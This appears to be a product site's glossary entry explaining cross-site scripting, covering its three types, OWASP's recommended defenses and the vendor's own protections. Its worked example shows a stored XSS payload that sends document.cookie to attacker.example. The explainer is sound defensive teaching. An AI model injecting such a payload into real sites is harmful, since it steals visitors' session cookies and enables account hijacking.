Foxcolab

Glossary

Cross-site scripting (XSS)

Definition

Cross-site scripting (XSS): A web vulnerability in which an attacker injects a script into a trusted website so it runs in other users' browsers with the site's privileges, able to read session cookies and other data the browser holds for that site (OWASP).

Also known asXSSscript injectionstored XSSreflected XSSDOM-based XSS

In short

Cross-site scripting (XSS) is a web vulnerability that lets an attacker run their own script in other people's browsers as part of a trusted site. The script can read what the browser holds for that site, including session cookies, and act as the user. Context-aware output encoding, HTML sanitizing and safe DOM methods prevent it; a Content Security Policy is the second layer.

Key takeaways

  • XSS runs attacker code with the site's own privileges in the victim's browser.
  • Stored XSS is saved on the server, reflected XSS rides in a link, DOM-based XSS happens in the page's own JavaScript.
  • The worst outcome is a stolen session cookie, which signs the attacker in as you.
  • Encode output for its context and sanitize any HTML users can write.
  • A Content Security Policy blocks many injected scripts, but OWASP calls it a second layer, not the main fix.

Last reviewed 4 December 2026 by Foxcolab Team

Cross-site scripting (XSS) is a web vulnerability that lets an attacker get their own script to run in other people's browsers as part of a site they trust. OWASP describes it as "a type of injection, in which malicious scripts are injected" into otherwise trusted websites. Because the browser treats the script as the site's own, "the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser" for that site.

The three types#

TypeWhere the script livesTypical route
StoredSaved on the server, in a comment, profile or messageEveryone who views the page runs it
ReflectedIn a link, echoed back in the pageWhoever clicks the crafted link runs it
DOM-basedWritten into the page by the site's own JavaScriptData from the URL or storage reaches an unsafe function

A worked example#

A support forum at example.com shows comments exactly as typed. An attacker posts this:

HTML
<script>fetch("https://attacker.example/c?" + document.cookie)</script>

Every visitor's browser runs it as example.com and sends the attacker any cookie that scripts can read. OWASP notes that "the most severe XSS attacks involve disclosure of the user's session cookie," which leads straight to session hijacking.

Defenses that work#

OWASP's prevention cheat sheet puts the weight on the code that writes data into the page:

  1. Encode output for its context. HTML, attributes, JavaScript, URLs and CSS each need their own encoding, because "browsers parse HTML, JS, URLs, and CSS differently."
  2. Sanitize HTML with a maintained library whenever users can write formatted text.
  3. Use safe methods. Set textContent instead of innerHTML.
  4. Know your framework's gaps. Templates usually escape by default, until someone uses the raw-HTML escape hatch.

A Content Security Policy catches much of what slips through, but OWASP says it "should not be your primary defense mechanism." Marking session cookies HttpOnly keeps them out of reach of document.cookie.

In Foxcolab#

Email is the biggest source of untrusted HTML most people open. Foxcolab Mail on the web cleans every message before showing it, removing scripts, forms and embedded frames, then displays the body in a sandboxed frame where scripts can't run at all. Foxcolab Drive, Docs, Sheets, Notes, Whiteboard and Forms, where your end-to-end encrypted content is decrypted in the browser, send a Content Security Policy that runs only scripts carrying a fresh nonce for that page load, so an injected inline script without it is refused.

For links inside messages, see check suspicious links in Foxcolab Mail. Create a free account.

Keep exploring

All terms

Foxcolab

Private work tools, without the ads.

Mail, files, documents, spreadsheets and meetings in one account. Files, documents and spreadsheets are end-to-end encrypted.

Jump to